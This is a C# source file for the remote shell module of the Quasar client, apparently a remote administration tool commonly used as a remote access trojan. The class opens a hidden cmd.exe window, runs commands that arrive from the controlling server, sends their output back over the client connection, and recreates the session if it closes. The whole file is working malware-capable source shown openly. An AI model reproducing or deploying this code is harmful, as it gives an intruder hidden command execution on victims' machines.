Quasar/Client/Core/RemoteShell/Shell.cs

121 lines
3.5 KiB
C#

using System;
using System.Diagnostics;
using System.Threading;
namespace xClient.Core.RemoteShell
{
public class Shell
{
private Process _prc;
private bool _read;
private void CreateSession()
{
_prc = new Process
{
StartInfo = new ProcessStartInfo("cmd")
{
UseShellExecute = false,
RedirectStandardInput = true,
RedirectStandardOutput = true,
RedirectStandardError = true,
CreateNoWindow = true,
WorkingDirectory = @"C:\",
Arguments = "/K"
}
};
_prc.Start();
new Packets.ClientPackets.ShellCommandResponse(">> New Session created" + Environment.NewLine).Execute(
Program.ConnectClient);
new Thread(Redirect).Start();
}
private void Redirect()
{
try
{
using (var reader = _prc.StandardOutput)
{
while (!reader.EndOfStream && _read)
{
var read = reader.ReadLine();
if (read == null) continue;
Thread.Sleep(200);
new Packets.ClientPackets.ShellCommandResponse(read + Environment.NewLine).Execute(
Program.ConnectClient);
}
}
if ((_prc == null || _prc.HasExited) && _read)
throw new ApplicationException("session unexpectedly closed");
}
catch (ApplicationException)
{
new Packets.ClientPackets.ShellCommandResponse(">> Session unexpectedly closed" + Environment.NewLine)
.Execute(Program.ConnectClient);
CreateSession();
}
}
public bool ExecuteCommand(string command)
{
if (_prc.HasExited)
return false;
_prc.StandardInput.WriteLine(command);
_prc.StandardInput.Flush();
return true;
}
public Shell()
{
_read = true;
CreateSession();
}
~Shell()
{
_read = false;
try
{
if (_prc != null && !_prc.HasExited)
{
_prc.Kill();
_prc.Dispose();
_prc = null;
new Packets.ClientPackets.ShellCommandResponse(">> Session closed" + Environment.NewLine).Execute(
Program.ConnectClient);
}
}
catch
{
}
}
public void CloseSession()
{
_read = false;
try
{
if (_prc != null && !_prc.HasExited)
{
_prc.Kill();
_prc.Dispose();
_prc = null;
new Packets.ClientPackets.ShellCommandResponse(">> Session closed" + Environment.NewLine).Execute(
Program.ConnectClient);
}
// The session has already been closed, so there is no reason to make
// the garbage collector waste lots of time finalizing it.
GC.SuppressFinalize(this);
}
catch
{
}
}
}
}